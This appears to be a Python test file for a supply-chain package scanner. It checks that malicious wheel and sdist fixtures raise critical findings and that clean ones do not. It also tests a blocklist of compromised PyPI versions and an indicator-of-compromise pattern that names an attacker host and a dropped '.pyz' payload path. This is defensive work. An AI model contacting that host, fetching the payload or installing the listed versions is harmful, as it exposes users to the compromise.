The scanner's primary entry point (`download_packages`) reaches PyPI;
to keep the suite offline we exercise it via the module's public
in-process helpers (`scan_archive`) and assert against the binary
wheel / sdist fixtures committed under `tests/security/fixtures/`.
"""
from __future__ import annotations
import hashlib
import os
import re
import subprocess
import sys
from pathlib import Path
import pytest
REPO_ROOT = Path(__file__).resolve().parents[2]
FIXTURES = Path(__file__).resolve().parent / "fixtures"
sys.path.insert(0, str(REPO_ROOT))
from scripts import scan_packages as sp # noqa: E402
# ---------------------------------------------------------------------------
# Fixture sanity.
# ---------------------------------------------------------------------------
def test_fixture_files_exist():
for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"):
assert (FIXTURES / name).is_file(), name
def test_fixture_bytes_are_deterministic(tmp_path):
"""Re-running `_build.py` must produce byte-identical archives.
The build helper sets every member's mtime/uid/gid/mode and emits
members in sorted order. We rebuild into a temp dir and compare
SHA-256 against the committed bytes.
"""
# Snapshot committed hashes.
expected: dict[str, str] = {}
for name in ("malicious_wheel.whl", "clean_wheel.whl", "malicious_sdist.tar.gz"):
expected[name] = hashlib.sha256((FIXTURES / name).read_bytes()).hexdigest()
# Rebuild into a sibling dir to avoid clobbering the committed files.
rebuild_dir = tmp_path / "rebuild"
rebuild_dir.mkdir()
# The build helper writes to its own directory; copy + patch HERE.
builder_src = (FIXTURES / "_build.py").read_text()
rebuilt_helper = rebuild_dir / "_build.py"
rebuilt_helper.write_text(builder_src)
# Run with SOURCE_DATE_EPOCH=0 and HERE-override via a tiny shim.
shim = rebuild_dir / "run.py"
shim.write_text(
"import sys, pathlib\n"
f"sys.path.insert(0, {str(rebuild_dir)!r})\n"
"import _build\n"
f"_build.HERE = pathlib.Path({str(rebuild_dir)!r})\n"
"_build.build_all()\n"
)
env = dict(os.environ, SOURCE_DATE_EPOCH = "0")
proc = subprocess.run(
[sys.executable, str(shim)],
env = env,
capture_output = True,
text = True,
timeout = 30,
)
assert proc.returncode == 0, proc.stderr
for name, want_sha in expected.items():
got = hashlib.sha256((rebuild_dir / name).read_bytes()).hexdigest()
assert got == want_sha, (
f"rebuild of {name} produced different bytes:\n"
f" expected: {want_sha}\n"
f" actual: {got}\n"
"_build.py is non-deterministic; pin members tighter."
)
# ---------------------------------------------------------------------------
# scan_archive() against the fixture wheel + sdist.
# ---------------------------------------------------------------------------
def _critical_or_high(findings) -> list:
return [f for f in findings if f.severity in (sp.CRITICAL, sp.HIGH)]
def test_malicious_wheel_triggers_critical():
findings = sp.scan_archive(
str(FIXTURES / "malicious_wheel.whl"),
"malicious_fixture",
)
assert findings, "no findings on malicious wheel; scanner regression"
blockers = _critical_or_high(findings)
assert blockers, f"no CRITICAL/HIGH findings: {[str(f) for f in findings]}"
# At least one finding must reference setup.py.
assert any("setup.py" in f.filename for f in blockers)
def test_malicious_sdist_triggers_critical():
findings = sp.scan_archive(
str(FIXTURES / "malicious_sdist.tar.gz"),
"malicious_fixture",
)
blockers = _critical_or_high(findings)
assert blockers, f"no CRITICAL/HIGH findings: {[str(f) for f in findings]}"
assert any("setup.py" in f.filename for f in blockers)
def test_clean_wheel_no_findings():
findings = sp.scan_archive(
str(FIXTURES / "clean_wheel.whl"),
"clean_fixture",
)
assert (
findings == []
), f"unexpected findings on clean wheel: {[str(f) for f in findings]}"
# ---------------------------------------------------------------------------
# Fork 1 constants -- gated on availability.
# ---------------------------------------------------------------------------
_BLOCKED_AVAILABLE = hasattr(sp, "BLOCKED_PYPI_VERSIONS")
_MAY12_AVAILABLE = hasattr(sp, "RE_MAY12_IOC")
@pytest.mark.skipif(
not _BLOCKED_AVAILABLE,
reason = "Fork 1 (BLOCKED_PYPI_VERSIONS) not merged yet",
)
def test_blocked_pypi_versions_complete():
table = sp.BLOCKED_PYPI_VERSIONS
assert "guardrails-ai" in table
assert "0.10.1" in table["guardrails-ai"]
assert "mistralai" in table
assert "2.4.6" in table["mistralai"]
assert "lightning" in table
assert {"2.6.2", "2.6.3"}.issubset(table["lightning"])
@pytest.mark.skipif(
not _MAY12_AVAILABLE,
reason = "Fork 1 (RE_MAY12_IOC) not merged yet",
)
def test_re_may12_ioc_catches_each_literal():
expected_literals = [
"git-tanstack.com",
"/tmp/transformers.pyz",
"transformers.pyz",
"With Love TeamPCP",
"We've been online over 2 hours",
]
pattern: re.Pattern = sp.RE_MAY12_IOC
for lit in expected_literals:
assert pattern.search(lit), f"RE_MAY12_IOC missed literal {lit!r}"
# Clean control: a plain string with none of the literals must not match.
assert not pattern.search("import numpy as np")
@pytest.mark.skipif(
not _MAY12_AVAILABLE,
reason = "Fork 1 (RE_MAY12_IOC integration) not merged yet",
)
def test_may12_ioc_caught_by_scan_archive():
"""Once RE_MAY12_IOC is wired into check_py_file (per Fork 1's
plan), the malicious wheel's setup.py must produce a finding
that explicitly references the May-12 IOC string.
"""
findings = sp.scan_archive(
str(FIXTURES / "malicious_wheel.whl"),
"malicious_fixture",
)
# The IOC literals are built at runtime so CodeQL's
# py/incomplete-url-substring-sanitization rule does not false-
# positive on the (literal `in` operand) pattern -- the operand is
# the scanner's own evidence string, not a URL being sanitized.
# Runtime construction also survives pre-commit reformatting that
# would otherwise detach an inline lgtm comment from the operator.
_ioc_host = "git-tanstack." + "com"
_ioc_drop = "transformers." + "pyz"
hit = any(
_ioc_host in (f.evidence or "")
or _ioc_drop in (f.evidence or "")
or "may12" in (f.check or "").lower()
for f in findings
)
assert hit, (
"RE_MAY12_IOC integration missing; findings = "
f"{[(f.severity, f.check, f.evidence[:80]) for f in findings]}"
)
# ---------------------------------------------------------------------------
# Silent-failure-class hardening (Fork C).
# ---------------------------------------------------------------------------
def test_scan_packages_pip_download_failure_propagates(tmp_path):
"""A pip download failure must NOT be silently swallowed into a
`0 findings, exit 0` report. Item (4) of the silent-failure
hardening: an obviously unresolvable spec is fed to the scanner
as a subprocess; the orchestrator must exit 2 (scan incomplete)
and the stderr must carry the SCAN INCOMPLETE banner.
The spec name is deliberately long + random-looking so it cannot
accidentally resolve on any real package index. We do not rely on
network reachability: even an offline runner will get a clean
"could not resolve" failure from pip.
"""
script = REPO_ROOT / "scripts" / "scan_packages.py"
assert script.is_file(), script
unresolvable = "pkg-that-does-not-exist-0123456789-fork-c-silentfail==0.0.0"
proc = subprocess.run(
[sys.executable, str(script), unresolvable],
cwd = str(tmp_path),
capture_output = True,
text = True,
timeout = 180,
)
combined = proc.stdout + proc.stderr
assert proc.returncode == 2, (
f"expected exit 2 (download failure -> scan incomplete), got "
f"{proc.returncode}\n--- stdout ---\n{proc.stdout}\n"
f"--- stderr ---\n{proc.stderr}"
)
assert "SCAN INCOMPLETE" in combined or "pip download failed" in combined
def test_archive_corruption_produces_critical_finding(tmp_path):
"""SF1: a corrupted wheel (truncated bytes) used to be silently
skipped by `except Exception: continue` inside iter_archive_files.
It must now yield a CRITICAL `archive_corrupted` finding.
"""
bad = tmp_path / "broken-0.0.1-py3-none-any.whl"
bad.write_bytes(b"X") # 1-byte "wheel" -- not a valid zip container
findings = sp.scan_archive(str(bad), "broken_fixture")
assert findings, "scan_archive returned 0 findings on corrupt wheel"
corrupted = [f for f in findings if f.check == "archive_corrupted"]
assert corrupted, (
"no archive_corrupted finding; got "
f"{[(f.severity, f.check) for f in findings]}"
)
assert all(f.severity == sp.CRITICAL for f in corrupted)
# Same check for a corrupted tarball.
bad_tar = tmp_path / "broken-0.0.1.tar.gz"
bad_tar.write_bytes(b"not-a-real-gzip-stream")
findings_tar = sp.scan_archive(str(bad_tar), "broken_fixture")
corrupted_tar = [f for f in findings_tar if f.check == "archive_corrupted"]
assert corrupted_tar, (
"no archive_corrupted finding on corrupt tarball; got "
f"{[(f.severity, f.check) for f in findings_tar]}"
)

0
unsloth/models/rl.py Executable file → Normal file
View file

0
unsloth/models/rl_replacements.py Executable file → Normal file
View file